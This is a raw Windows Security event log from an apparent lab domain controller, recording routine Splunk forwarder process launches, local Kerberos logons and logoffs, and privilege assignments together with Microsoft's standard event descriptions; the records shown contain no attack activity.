
Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256900
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256902
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x640
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256901
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256905
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x47A824

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:54:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256904
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x47A824
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59171

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:54:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256903
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x47A824

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:55:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256906
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256907
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256909
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256908
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46F38D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:55:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256910
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1048
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256911
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256913
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256912
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:55:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256916
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x47DD92

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:55:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256915
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x47DD92
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59185

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:55:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256914
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x47DD92

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:56:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256917
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256918
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256919
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256920
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256921
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe64
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

